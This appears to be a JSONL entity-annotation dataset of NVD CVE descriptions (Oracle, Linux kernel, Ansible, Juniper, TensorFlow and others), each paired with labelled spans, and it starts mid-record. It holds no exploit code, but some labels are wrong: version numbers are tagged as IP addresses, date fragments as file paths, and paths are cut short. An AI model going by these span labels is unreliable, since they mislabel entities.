"CVE-2025-38585"}}
{"text": "Vulnerability in the Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Enterprise Config Management). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager for Oracle Database. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager for Oracle Database accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager for Oracle Database accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager for Oracle Database. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[181, 189]], "IP_ADDRESS: 13.2.0.0": [[191, 199]], "IP_ADDRESS: 13.3.0.0": [[204, 212]], "SYSTEM: Oracle Database": [[44, 59], [345, 360], [503, 518], [625, 640], [759, 774]], "ORGANIZATION: Oracle": [[71, 77]], "VULNERABILITY: denial of service": [[701, 718]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2638"}}
{"text": "RaspberryMatic is a free and open-source operating system for running a cloud-free smart-home using the homematicIP / HomeMatic hardware line of IoT devices. A Remote Code Execution (RCE) vulnerability in the file upload facility of the WebUI interface of RaspberryMatic exists. Missing input validation/sanitization in the file upload mechanism allows remote, unauthenticated attackers with network access to the WebUI interface to achieve arbitrary operating system command execution via shell metacharacters in the HTTP query string. Injected commands are executed as root, thus leading to a full compromise of the underlying system and all its components. Versions after `2.31.25.20180428` and prior to `3.63.8.20220330` are affected. Users are advised to update to version `3.63.8.20220330` or newer. There are currently no known workarounds to mitigate the security impact and users are advised to update to the latest version available.", "spans": {"VULNERABILITY: Remote Code Execution": [[160, 181]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24796"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: unmap and remove csa_va properly\n\nRoot PD BO should be reserved before unmap and remove\na bo_va from VM otherwise lockdep will complain.\n\nv2: check fpriv->csa_va is not NULL instead of amdgpu_mcbp (christian)\n\n[14616.936827] WARNING: CPU: 6 PID: 1711 at drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c:1762 amdgpu_vm_bo_del+0x399/0x3f0 [amdgpu]\n[14616.937096] Call Trace:\n[14616.937097]  <TASK>\n[14616.937102]  amdgpu_driver_postclose_kms+0x249/0x2f0 [amdgpu]\n[14616.937187]  drm_file_free+0x1d6/0x300 [drm]\n[14616.937207]  drm_close_helper.isra.0+0x62/0x70 [drm]\n[14616.937220]  drm_release+0x5e/0x100 [drm]\n[14616.937234]  __fput+0x9f/0x280\n[14616.937239]  ____fput+0xe/0x20\n[14616.937241]  task_work_run+0x61/0x90\n[14616.937246]  exit_to_user_mode_prepare+0x215/0x220\n[14616.937251]  syscall_exit_to_user_mode+0x2a/0x60\n[14616.937254]  do_syscall_64+0x48/0x90\n[14616.937257]  entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"FILEPATH: /gpu/drm/amd/amdgpu/amdgpu_vm.c": [[342, 373]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53545"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: do not sense pfmemalloc status in skb_append_pagefrags()\n\nskb_append_pagefrags() is used by af_unix and udp sendpage()\nimplementation so far.\n\nIn commit 326140063946 (\"tcp: TX zerocopy should not sense\npfmemalloc status\") we explained why we should not sense\npfmemalloc status for pages owned by user space.\n\nWe should also use skb_fill_page_desc_noacc()\nin skb_append_pagefrags() to avoid following KCSAN report:\n\nBUG: KCSAN: data-race in lru_add_fn / skb_append_pagefrags\n\nwrite to 0xffffea00058fc1c8 of 8 bytes by task 17319 on cpu 0:\n__list_add include/linux/list.h:73 [inline]\nlist_add include/linux/list.h:88 [inline]\nlruvec_add_folio include/linux/mm_inline.h:323 [inline]\nlru_add_fn+0x327/0x410 mm/swap.c:228\nfolio_batch_move_lru+0x1e1/0x2a0 mm/swap.c:246\nlru_add_drain_cpu+0x73/0x250 mm/swap.c:669\nlru_add_drain+0x21/0x60 mm/swap.c:773\nfree_pages_and_swap_cache+0x16/0x70 mm/swap_state.c:311\ntlb_batch_pages_flush mm/mmu_gather.c:59 [inline]\ntlb_flush_mmu_free mm/mmu_gather.c:256 [inline]\ntlb_flush_mmu+0x5b2/0x640 mm/mmu_gather.c:263\ntlb_finish_mmu+0x86/0x100 mm/mmu_gather.c:363\nexit_mmap+0x190/0x4d0 mm/mmap.c:3098\n__mmput+0x27/0x1b0 kernel/fork.c:1185\nmmput+0x3d/0x50 kernel/fork.c:1207\ncopy_process+0x19fc/0x2100 kernel/fork.c:2518\nkernel_clone+0x166/0x550 kernel/fork.c:2671\n__do_sys_clone kernel/fork.c:2812 [inline]\n__se_sys_clone kernel/fork.c:2796 [inline]\n__x64_sys_clone+0xc3/0xf0 kernel/fork.c:2796\ndo_syscall_x64 arch/x86/entry/common.c:50 [inline]\ndo_syscall_64+0x2b/0x70 arch/x86/entry/common.c:80\nentry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nread to 0xffffea00058fc1c8 of 8 bytes by task 17325 on cpu 1:\npage_is_pfmemalloc include/linux/mm.h:1817 [inline]\n__skb_fill_page_desc include/linux/skbuff.h:2432 [inline]\nskb_fill_page_desc include/linux/skbuff.h:2453 [inline]\nskb_append_pagefrags+0x210/0x600 net/core/skbuff.c:3974\nunix_stream_sendpage+0x45e/0x990 net/unix/af_unix.c:2338\nkernel_sendpage+0x184/0x300 net/socket.c:3561\nsock_sendpage+0x5a/0x70 net/socket.c:1054\npipe_to_sendpage+0x128/0x160 fs/splice.c:361\nsplice_from_pipe_feed fs/splice.c:415 [inline]\n__splice_from_pipe+0x222/0x4d0 fs/splice.c:559\nsplice_from_pipe fs/splice.c:594 [inline]\ngeneric_splice_sendpage+0x89/0xc0 fs/splice.c:743\ndo_splice_from fs/splice.c:764 [inline]\ndirect_splice_actor+0x80/0xa0 fs/splice.c:931\nsplice_direct_to_actor+0x305/0x620 fs/splice.c:886\ndo_splice_direct+0xfb/0x180 fs/splice.c:974\ndo_sendfile+0x3bf/0x910 fs/read_write.c:1255\n__do_sys_sendfile64 fs/read_write.c:1323 [inline]\n__se_sys_sendfile64 fs/read_write.c:1309 [inline]\n__x64_sys_sendfile64+0x10c/0x150 fs/read_write.c:1309\ndo_syscall_x64 arch/x86/entry/common.c:50 [inline]\ndo_syscall_64+0x2b/0x70 arch/x86/entry/common.c:80\nentry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nvalue changed: 0x0000000000000000 -> 0xffffea00058fc188\n\nReported by Kernel Concurrency Sanitizer on:\nCPU: 1 PID: 17325 Comm: syz-executor.0 Not tainted 6.1.0-rc1-syzkaller-00158-g440b7895c990-dirty #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/11/2022", "spans": {"FILEPATH: /linux/list.h": [[630, 643], [672, 685]], "FILEPATH: /linux/mm_inline.h": [[722, 740]], "FILEPATH: /x86/entry/common.c": [[1515, 1534], [1575, 1594], [2699, 2718], [2759, 2778]], "FILEPATH: /linux/mm.h": [[1728, 1739]], "FILEPATH: /linux/skbuff.h": [[1782, 1797], [1838, 1853]], "FILEPATH: /core/skbuff.c": [[1904, 1918]], "FILEPATH: /unix/af_unix.c": [[1960, 1975]], "FILEPATH: /11/2022": [[3107, 3115]], "FILEPATH: swap.c": [[780, 786], [827, 833], [870, 876], [908, 914]], "FILEPATH: swap_state.c": [[958, 970]], "FILEPATH: mmu_gather.c": [[1000, 1012], [1047, 1059], [1102, 1114], [1148, 1160]], "FILEPATH: mmap.c": [[1190, 1196]], "FILEPATH: fork.c": [[1228, 1234], [1263, 1269], [1309, 1315], [1353, 1359], [1387, 1393], [1430, 1436], [1484, 1490]], "FILEPATH: socket.c": [[2013, 2021], [2055, 2063]], "FILEPATH: splice.c": [[2101, 2109], [2139, 2147], [2195, 2203], [2228, 2236], [2287, 2295], [2318, 2326], [2373, 2381], [2424, 2432], [2468, 2476]], "FILEPATH: read_write.c": [[2508, 2520], [2549, 2561], [2599, 2611], [2662, 2674]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[3041, 3047], [3048, 3054], [3070, 3076], [3098, 3104]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50323"}}
{"text": "Vulnerability in the Oracle Complex Maintenance, Repair, and Overhaul product of Oracle Supply Chain (component: Dialog Box). Supported versions that are affected are 11.5.10, 12.1 and 12.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Complex Maintenance, Repair, and Overhaul. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Complex Maintenance, Repair, and Overhaul, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Complex Maintenance, Repair, and Overhaul accessible data as well as unauthorized update, insert or delete access to some of Oracle Complex Maintenance, Repair, and Overhaul accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [81, 87], [299, 305], [466, 472], [688, 694], [820, 826]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2102"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: nfc: fix deadlock between nfc_unregister_device and rfkill_fop_write\n\nA deadlock can occur between nfc_unregister_device() and rfkill_fop_write()\ndue to lock ordering inversion between device_lock and rfkill_global_mutex.\n\nThe problematic lock order is:\n\nThread A (rfkill_fop_write):\n  rfkill_fop_write()\n    mutex_lock(&rfkill_global_mutex)\n      rfkill_set_block()\n        nfc_rfkill_set_block()\n          nfc_dev_down()\n            device_lock(&dev->dev)    <- waits for device_lock\n\nThread B (nfc_unregister_device):\n  nfc_unregister_device()\n    device_lock(&dev->dev)\n      rfkill_unregister()\n        mutex_lock(&rfkill_global_mutex)  <- waits for rfkill_global_mutex\n\nThis creates a classic ABBA deadlock scenario.\n\nFix this by moving rfkill_unregister() and rfkill_destroy() outside the\ndevice_lock critical section. Store the rfkill pointer in a local variable\nbefore releasing the lock, then call rfkill_unregister() after releasing\ndevice_lock.\n\nThis change is safe because rfkill_fop_write() holds rfkill_global_mutex\nwhile calling the rfkill callbacks, and rfkill_unregister() also acquires\nrfkill_global_mutex before cleanup. Therefore, rfkill_unregister() will\nwait for any ongoing callback to complete before proceeding, and\ndevice_del() is only called after rfkill_unregister() returns, preventing\nany use-after-free.\n\nThe similar lock ordering in nfc_register_device() (device_lock ->\nrfkill_global_mutex via rfkill_register) is safe because during\nregistration the device is not yet in rfkill_list, so no concurrent\nrfkill operations can occur on this device.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1394, 1408]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71079"}}
{"text": "A race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p <dir>\"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating '/proc/<pid>/cmdline'.", "spans": {"FILEPATH: /var/tmp.": [[250, 259]], "SYSTEM: Ansible": [[35, 42], [164, 171]], "VULNERABILITY: race condition": [[2, 16]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1733"}}
{"text": "On Juniper Networks Junos OS and Junos OS Evolved platforms with EVPN configured, receipt of specific BGP packets causes a slow memory leak. If the memory is exhausted the rpd process might crash. If the issue occurs, the memory leak could be seen by executing the \"show task memory detail | match policy | match evpn\" command multiple times to check if memory (Alloc Blocks value) is increasing. root@device> show task memory detail | match policy | match evpn ------------------------ Allocator Memory Report ------------------------ Name | Size | Alloc DTXP Size | Alloc Blocks | Alloc Bytes | MaxAlloc Blocks | MaxAlloc Bytes Policy EVPN Params 20 24 3330678 79936272 3330678 79936272 root@device> show task memory detail | match policy | match evpn ------------------------ Allocator Memory Report ------------------------ Name | Size | Alloc DTXP Size | Alloc Blocks | Alloc Bytes | MaxAlloc Blocks | MaxAlloc Bytes Policy EVPN Params 20 24 36620255 878886120 36620255 878886120 This issue affects: Juniper Networks Junos OS 19.4 versions prior to 19.4R2; 20.1 versions prior to 20.1R1-S4, 20.1R2; Juniper Networks Junos OS Evolved: 19.4 versions; 20.1 versions prior to 20.1R1-S4-EVO, 20.1R2-EVO; 20.2 versions prior to 20.2R1-EVO; This issue does not affect: Juniper Networks Junos OS releases prior to 19.4R1. Juniper Networks Junos OS Evolved releases prior to 19.4R1-EVO.", "spans": {"ORGANIZATION: Juniper": [[3, 10], [1005, 1012], [1104, 1111], [1267, 1274], [1319, 1326]], "VULNERABILITY: memory leak": [[128, 139], [222, 233]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1678"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfs: Don't leak disconnected dentries on umount\n\nWhen user calls open_by_handle_at() on some inode that is not cached, we\nwill create disconnected dentry for it. If such dentry is a directory,\nexportfs_decode_fh_raw() will then try to connect this dentry to the\ndentry tree through reconnect_path(). It may happen for various reasons\n(such as corrupted fs or race with rename) that the call to\nlookup_one_unlocked() in reconnect_one() will fail to find the dentry we\nare trying to reconnect and instead create a new dentry under the\nparent. Now this dentry will not be marked as disconnected although the\nparent still may well be disconnected (at least in case this\ninconsistency happened because the fs is corrupted and .. doesn't point\nto the real parent directory). This creates inconsistency in\ndisconnected flags but AFAICS it was mostly harmless. At least until\ncommit f1ee616214cb (\"VFS: don't keep disconnected dentries on d_anon\")\nwhich removed adding of most disconnected dentries to sb->s_anon list.\nThus after this commit cleanup of disconnected dentries implicitely\nrelies on the fact that dput() will immediately reclaim such dentries.\nHowever when some leaf dentry isn't marked as disconnected, as in the\nscenario described above, the reclaim doesn't happen and the dentries\nare \"leaked\". Memory reclaim can eventually reclaim them but otherwise\nthey stay in memory and if umount comes first, we hit infamous \"Busy\ninodes after unmount\" bug. Make sure all dentries created under a\ndisconnected parent are marked as disconnected as well.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40105"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: fgraph: Fix stack layout to match __arch_ftrace_regs argument of ftrace_return_to_handler\n\nNaresh Kamboju reported a \"Bad frame pointer\" kernel warning while\nrunning LTP trace ftrace_stress_test.sh in riscv. We can reproduce the\nsame issue with the following command:\n\n```\n$ cd /sys/kernel/debug/tracing\n$ echo 'f:myprobe do_nanosleep%return args1=$retval' > dynamic_events\n$ echo 1 > events/fprobes/enable\n$ echo 1 > tracing_on\n$ sleep 1\n```\n\nAnd we can get the following kernel warning:\n\n[  127.692888] ------------[ cut here ]------------\n[  127.693755] Bad frame pointer: expected ff2000000065be50, received ba34c141e9594000\n[  127.693755]   from func do_nanosleep return to ffffffff800ccb16\n[  127.698699] WARNING: CPU: 1 PID: 129 at kernel/trace/fgraph.c:755 ftrace_return_to_handler+0x1b2/0x1be\n[  127.699894] Modules linked in:\n[  127.700908] CPU: 1 UID: 0 PID: 129 Comm: sleep Not tainted 6.14.0-rc3-g0ab191c74642 #32\n[  127.701453] Hardware name: riscv-virtio,qemu (DT)\n[  127.701859] epc : ftrace_return_to_handler+0x1b2/0x1be\n[  127.702032]  ra : ftrace_return_to_handler+0x1b2/0x1be\n[  127.702151] epc : ffffffff8013b5e0 ra : ffffffff8013b5e0 sp : ff2000000065bd10\n[  127.702221]  gp : ffffffff819c12f8 tp : ff60000080853100 t0 : 6e00000000000000\n[  127.702284]  t1 : 0000000000000020 t2 : 6e7566206d6f7266 s0 : ff2000000065bd80\n[  127.702346]  s1 : ff60000081262000 a0 : 000000000000007b a1 : ffffffff81894f20\n[  127.702408]  a2 : 0000000000000010 a3 : fffffffffffffffe a4 : 0000000000000000\n[  127.702470]  a5 : 0000000000000000 a6 : 0000000000000008 a7 : 0000000000000038\n[  127.702530]  s2 : ba34c141e9594000 s3 : 0000000000000000 s4 : ff2000000065bdd0\n[  127.702591]  s5 : 00007fff8adcf400 s6 : 000055556dc1d8c0 s7 : 0000000000000068\n[  127.702651]  s8 : 00007fff8adf5d10 s9 : 000000000000006d s10: 0000000000000001\n[  127.702710]  s11: 00005555737377c8 t3 : ffffffff819d899e t4 : ffffffff819d899e\n[  127.702769]  t5 : ffffffff819d89a0 t6 : ff2000000065bb18\n[  127.702826] status: 0000000200000120 badaddr: 0000000000000000 cause: 0000000000000003\n[  127.703292] [<ffffffff8013b5e0>] ftrace_return_to_handler+0x1b2/0x1be\n[  127.703760] [<ffffffff80017bce>] return_to_handler+0x16/0x26\n[  127.704009] [<ffffffff80017bb8>] return_to_handler+0x0/0x26\n[  127.704057] [<ffffffff800d3352>] common_nsleep+0x42/0x54\n[  127.704117] [<ffffffff800d44a2>] __riscv_sys_clock_nanosleep+0xba/0x10a\n[  127.704176] [<ffffffff80901c56>] do_trap_ecall_u+0x188/0x218\n[  127.704295] [<ffffffff8090cc3e>] handle_exception+0x14a/0x156\n[  127.705436] ---[ end trace 0000000000000000 ]---\n\nThe reason is that the stack layout for constructing argument for the\nftrace_return_to_handler in the return_to_handler does not match the\n__arch_ftrace_regs structure of riscv, leading to unexpected results.", "spans": {"FILEPATH: /sys/kernel/debug/tracing": [[354, 379]], "FILEPATH: /fprobes/enable": [[467, 482]], "FILEPATH: /trace/fgraph.c": [[821, 836]], "FILEPATH: ftrace_stress_test.sh": [[252, 273]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22069"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nFS:JFS:UBSAN:array-index-out-of-bounds in dbAdjTree\n\nSyzkaller reported the following issue:\n\nUBSAN: array-index-out-of-bounds in fs/jfs/jfs_dmap.c:2867:6\nindex 196694 is out of range for type 's8[1365]' (aka 'signed char[1365]')\nCPU: 1 PID: 109 Comm: jfsCommit Not tainted 6.6.0-rc3-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/04/2023\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x1e7/0x2d0 lib/dump_stack.c:106\n ubsan_epilogue lib/ubsan.c:217 [inline]\n __ubsan_handle_out_of_bounds+0x11c/0x150 lib/ubsan.c:348\n dbAdjTree+0x474/0x4f0 fs/jfs/jfs_dmap.c:2867\n dbJoin+0x210/0x2d0 fs/jfs/jfs_dmap.c:2834\n dbFreeBits+0x4eb/0xda0 fs/jfs/jfs_dmap.c:2331\n dbFreeDmap fs/jfs/jfs_dmap.c:2080 [inline]\n dbFree+0x343/0x650 fs/jfs/jfs_dmap.c:402\n txFreeMap+0x798/0xd50 fs/jfs/jfs_txnmgr.c:2534\n txUpdateMap+0x342/0x9e0\n txLazyCommit fs/jfs/jfs_txnmgr.c:2664 [inline]\n jfs_lazycommit+0x47a/0xb70 fs/jfs/jfs_txnmgr.c:2732\n kthread+0x2d3/0x370 kernel/kthread.c:388\n ret_from_fork+0x48/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x11/0x20 arch/x86/entry/entry_64.S:304\n </TASK>\n================================================================================\nKernel panic - not syncing: UBSAN: panic_on_warn set ...\nCPU: 1 PID: 109 Comm: jfsCommit Not tainted 6.6.0-rc3-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/04/2023\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x1e7/0x2d0 lib/dump_stack.c:106\n panic+0x30f/0x770 kernel/panic.c:340\n check_panic_on_warn+0x82/0xa0 kernel/panic.c:236\n ubsan_epilogue lib/ubsan.c:223 [inline]\n __ubsan_handle_out_of_bounds+0x13c/0x150 lib/ubsan.c:348\n dbAdjTree+0x474/0x4f0 fs/jfs/jfs_dmap.c:2867\n dbJoin+0x210/0x2d0 fs/jfs/jfs_dmap.c:2834\n dbFreeBits+0x4eb/0xda0 fs/jfs/jfs_dmap.c:2331\n dbFreeDmap fs/jfs/jfs_dmap.c:2080 [inline]\n dbFree+0x343/0x650 fs/jfs/jfs_dmap.c:402\n txFreeMap+0x798/0xd50 fs/jfs/jfs_txnmgr.c:2534\n txUpdateMap+0x342/0x9e0\n txLazyCommit fs/jfs/jfs_txnmgr.c:2664 [inline]\n jfs_lazycommit+0x47a/0xb70 fs/jfs/jfs_txnmgr.c:2732\n kthread+0x2d3/0x370 kernel/kthread.c:388\n ret_from_fork+0x48/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x11/0x20 arch/x86/entry/entry_64.S:304\n </TASK>\nKernel Offset: disabled\nRebooting in 86400 seconds..\n\nThe issue is caused when the value of lp becomes greater than\nCTLTREESIZE which is the max size of stree. Adding a simple check\nsolves this issue.\n\nDave:\nAs the function returns a void, good error handling\nwould require a more intrusive code reorganization, so I modified\nOsama's patch at use WARN_ON_ONCE for lack of a cleaner option.\n\nThe patch is tested via syzbot.", "spans": {"FILEPATH: /jfs/jfs_dmap.c": [[201, 216], [692, 707], [735, 750], [782, 797], [817, 832], [869, 884], [1847, 1862], [1890, 1905], [1937, 1952], [1972, 1987], [2024, 2039]], "FILEPATH: /04/2023": [[447, 455], [1514, 1522]], "FILEPATH: /jfs/jfs_txnmgr.c": [[914, 931], [978, 995], [1040, 1057], [2069, 2086], [2133, 2150], [2195, 2212]], "FILEPATH: /x86/kernel/process.c": [[1134, 1155], [2289, 2310]], "FILEPATH: /x86/entry/entry_64.S": [[1193, 1214], [2348, 2369]], "FILEPATH: dump_stack.c": [[494, 506], [551, 563], [1561, 1573], [1618, 1630]], "FILEPATH: ubsan.c": [[588, 595], [655, 662], [1743, 1750], [1810, 1817]], "FILEPATH: kthread.c": [[1091, 1100], [2246, 2255]], "FILEPATH: panic.c": [[1661, 1668], [1711, 1718]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[381, 387], [388, 394], [410, 416], [438, 444], [1448, 1454], [1455, 1461], [1477, 1483], [1505, 1511]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52604"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Reader 10.0.1.35811. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of the Annotation objects. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-11657.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17417"}}
{"text": "Bludit version 3.16.1 contains a cross-site request forgery (CSRF) vulnerability in the /admin/uninstall-plugin/ and /admin/install-theme/ endpoints. The application does not implement anti-CSRF tokens or other request origin validation mechanisms for these administrative actions. An attacker can induce an authenticated administrator to visit a malicious page that silently submits crafted requests, resulting in unauthorized plugin uninstallation or theme installation. This may lead to loss of functionality, execution of untrusted code via malicious themes, and compromise of system integrity.", "spans": {"FILEPATH: /admin/uninstall-plugin": [[88, 111]], "FILEPATH: /admin/install-theme": [[117, 137]], "VULNERABILITY: cross-site request forgery": [[33, 59]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27741"}}
{"text": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. \"Local sync\" is an Argo CD feature that allows developers to temporarily override an Application's manifests with locally-defined manifests. Use of the feature should generally be limited to highly-trusted users, since it allows the user to bypass any merge protections in git. An improper validation bug allows users who have `create` privileges but not `override` privileges to sync local manifests on app creation. All other restrictions, including AppProject restrictions are still enforced. The only restriction which is not enforced is that the manifests come from some approved git/Helm/OCI source. The bug was introduced in 1.2.0-rc1 when the local manifest sync feature was added. The bug has been patched in Argo CD versions 2.10.3, 2.9.8, and 2.8.12. Users are advised to upgrade. Users unable to upgrade may mitigate the risk of branch protection bypass by removing `applications, create` RBAC access. The only way to eliminate the issue without removing RBAC access is to upgrade to a patched version.", "spans": {"FILEPATH: /Helm/OCI": [[662, 671]], "SYSTEM: Kubernetes": [[62, 72]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-50726"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: piix4: Fix adapter not be removed in piix4_remove()\n\nIn piix4_probe(), the piix4 adapter will be registered in:\n\n   piix4_probe()\n     piix4_add_adapters_sb800() / piix4_add_adapter()\n       i2c_add_adapter()\n\nBased on the probed device type, piix4_add_adapters_sb800() or single\npiix4_add_adapter() will be called.\nFor the former case, piix4_adapter_count is set as the number of adapters,\nwhile for antoher case it is not set and kept default *zero*.\n\nWhen piix4 is removed, piix4_remove() removes the adapters added in\npiix4_probe(), basing on the piix4_adapter_count value.\nBecause the count is zero for the single adapter case, the adapter won't\nbe removed and makes the sources allocated for adapter leaked, such as\nthe i2c client and device.\n\nThese sources can still be accessed by i2c or bus and cause problems.\nAn easily reproduced case is that if a new adapter is registered, i2c\nwill get the leaked adapter and try to call smbus_algorithm, which was\nalready freed:\n\nTriggered by: rmmod i2c_piix4 && modprobe max31730\n\n BUG: unable to handle page fault for address: ffffffffc053d860\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n Oops: 0000 [#1] PREEMPT SMP KASAN\n CPU: 0 PID: 3752 Comm: modprobe Tainted: G\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)\n RIP: 0010:i2c_default_probe (drivers/i2c/i2c-core-base.c:2259) i2c_core\n RSP: 0018:ffff888107477710 EFLAGS: 00000246\n ...\n <TASK>\n  i2c_detect (drivers/i2c/i2c-core-base.c:2302) i2c_core\n  __process_new_driver (drivers/i2c/i2c-core-base.c:1336) i2c_core\n  bus_for_each_dev (drivers/base/bus.c:301)\n  i2c_for_each_dev (drivers/i2c/i2c-core-base.c:1823) i2c_core\n  i2c_register_driver (drivers/i2c/i2c-core-base.c:1861) i2c_core\n  do_one_initcall (init/main.c:1296)\n  do_init_module (kernel/module/main.c:2455)\n  ...\n </TASK>\n ---[ end trace 0000000000000000 ]---\n\nFix this problem by correctly set piix4_adapter_count as 1 for the\nsingle adapter so it can be normally removed.", "spans": {"FILEPATH: /i2c/i2c-core-base.c": [[1426, 1446], [1541, 1561], [1608, 1628], [1715, 1735], [1781, 1801]], "FILEPATH: /base/bus.c": [[1671, 1682]], "FILEPATH: /module/main.c": [[1878, 1892]], "FILEPATH: main.c": [[1841, 1847]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1350, 1354]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49900"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/python/keras/saving/model_config.py#L66-L104) uses `yaml.unsafe_load` which can perform arbitrary code execution on the input. Given that YAML format support requires a significant amount of work, we have removed it for now. We have patched the issue in GitHub commit 23d6383eb6c14084a8fc3bdf164043b974818012. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/python/keras/saving/model_config.py#L66-L104": [[236, 378]], "HASH: 23d6383eb6c14084a8fc3bdf164043b974818012": [[602, 642]], "ORGANIZATION: GitHub": [[588, 594]], "VULNERABILITY: code execution": [[149, 163], [432, 446]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37678"}}
{"text": "SuperMartijn642's Config Lib is a library used by a number of mods for the game Minecraft. The versions of SuperMartijn642's Config Lib between 1.0.4 and 1.0.8 are affected by a vulnerability and can be exploited on both servers and clients. Using SuperMartijn642's Config Lib, servers will send a packet to clients with the server's config values. In order to read `enum` values from the packet data, `ObjectInputStream#readObject` is used. `ObjectInputStream#readObject` will instantiate a class based on the input data. Since, the packet data is not validated before `ObjectInputStream#readObject` is called, an attacker can instantiate any class by sending a malicious packet. If a suitable class is found, the vulnerability can lead to a number of exploits, including remote code execution. Although the vulnerable packet is typically only send from server to client, it can theoretically also be send from client to server. This means both clients and servers running SuperMartijn642's Config Lib between 1.0.4 and 1.0.8 are vulnerable. The vulnerability has been patched in SuperMartijn642's Config lib 1.0.9. Both, players and server owners, should update to 1.0.9 or higher.", "spans": {"VULNERABILITY: remote code execution": [[773, 794]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37632"}}
